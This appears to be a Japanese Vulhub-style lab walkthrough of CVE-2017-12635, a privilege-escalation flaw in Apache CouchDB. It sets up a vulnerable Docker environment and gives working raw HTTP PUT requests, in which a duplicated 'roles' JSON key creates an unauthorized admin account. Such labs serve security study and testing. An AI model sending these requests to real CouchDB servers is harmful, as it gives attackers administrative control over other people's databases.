
Apache CouchDBは、使いやすさと「Webを完全に取り込むデータベース」であることに重点を置いたオープンソースデータベースです。JSONをストレージ形式として、JavaScriptをクエリ言語として、MapReduceとHTTPをAPIとして使用するNoSQLデータベースです。応用範囲は広く、例えばBBCは動的コンテンツ表示プラットフォームで、Credit Suisseは社内の商品部門の市場フレームワークで、Meeboはソーシャルプラットフォーム(Webおよびアプリケーション)で使用しています。
2017年11月15日にCVE-2017-12635とCVE-2017-12636が公開されました。CVE-2017-12635は、ErlangとJavaScriptのJSON解析方法の違いにより、ステートメント実行に差異が生じることが原因です。この脆弱性により、任意のユーザーが管理者を作成できるため、垂直権限バイパス脆弱性に分類されます。
影響を受けるバージョン:1.7.0未満および2.1.1未満
参考リンク:
環境のビルドおよび起動:
docker-compose build
docker-compose up -d
環境起動後、http://your-ip:5984/_utils/にアクセスするとWebページが表示され、CouchDBが正常に起動したことが確認できます。ただし、パスワードが不明なためログインできません。
まず、以下のデータパケットを送信します:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
ご覧のとおり、403エラー{"error":"forbidden","reason":"Only _admin may set roles"}が返されます。Roleロールを設定できるのは管理者のみです:
2つのrolesを含むデータパケットを送信すると、制限をバイパスできます:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
管理者の作成に成功します。アカウント名とパスワードはどちらもvulhubです:

再度http://your-ip:5984/_utils/にアクセスし、アカウント名とパスワードvulhubを入力すると、正常にログインできます:
